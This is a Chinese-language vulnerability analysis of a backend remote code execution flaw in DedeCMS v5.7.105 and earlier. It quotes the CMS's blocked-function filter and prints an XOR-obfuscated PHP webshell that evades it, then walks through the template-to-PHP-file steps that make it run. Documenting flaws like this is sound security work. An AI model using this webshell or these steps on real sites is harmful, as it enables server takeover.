【漏洞分析】织梦后台rce <=dedecms v5.7.105

  1. 【漏洞分析】织梦后台rce <=dedecms v5.7.105
  2. 环境下载
  3. 漏洞分析
  4. 漏洞复现

【漏洞分析】织梦后台rce <=dedecms v5.7.105

环境下载

https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.105-UTF8.zip

原本官网是没有这个版本了,但是改一下url就可以找到历史版本。

受影响的版本 <=dedecms v5.7.105

我们这里找到dedecms v5.7.105进行分析

至于环境搭建。

下载下来之后放到phpstudy上面就可以了

漏洞分析

漏洞出现的文件在uploads/dede/templets_one_edit.php

image-20230306182541957

image-20230306182549540

找到漏洞点

image-20230306185621108

在这里正则匹配了用户的文件名之后,没有对文件名的合法性进行检测,导致了攻击者可以创建任意类型文件,从而getshell。但是这里需要引用模板,而出创建模板文件的地方存在安全过滤,路径如下\uploads\dede\tpl.php

其过滤代码大概如下:

// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
    if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
    }
}

好难绕啊,但是在tools发现了一个马给绕过去了

<?  @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);//密码是1

image-20230307211254494

漏洞复现

首先进入默认模板管理,新建一个模板

image-20230305212053856

然后创建一个模板,内容需要免杀的shell,要不然利用不了(分析的地方写了

image-20230305212157094

命名为78.htm

随后来到核心-但也文档管理

image-20230305212245028

创建一个页面,引用刚刚创建的78模板,然后文件名的后缀名改成php

image-20230305212316773

image-20230305212343348

来到目录/uploads/a/newfile1.php

即可看到模板中的恶意代码成功执行

image-20230305212444451


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。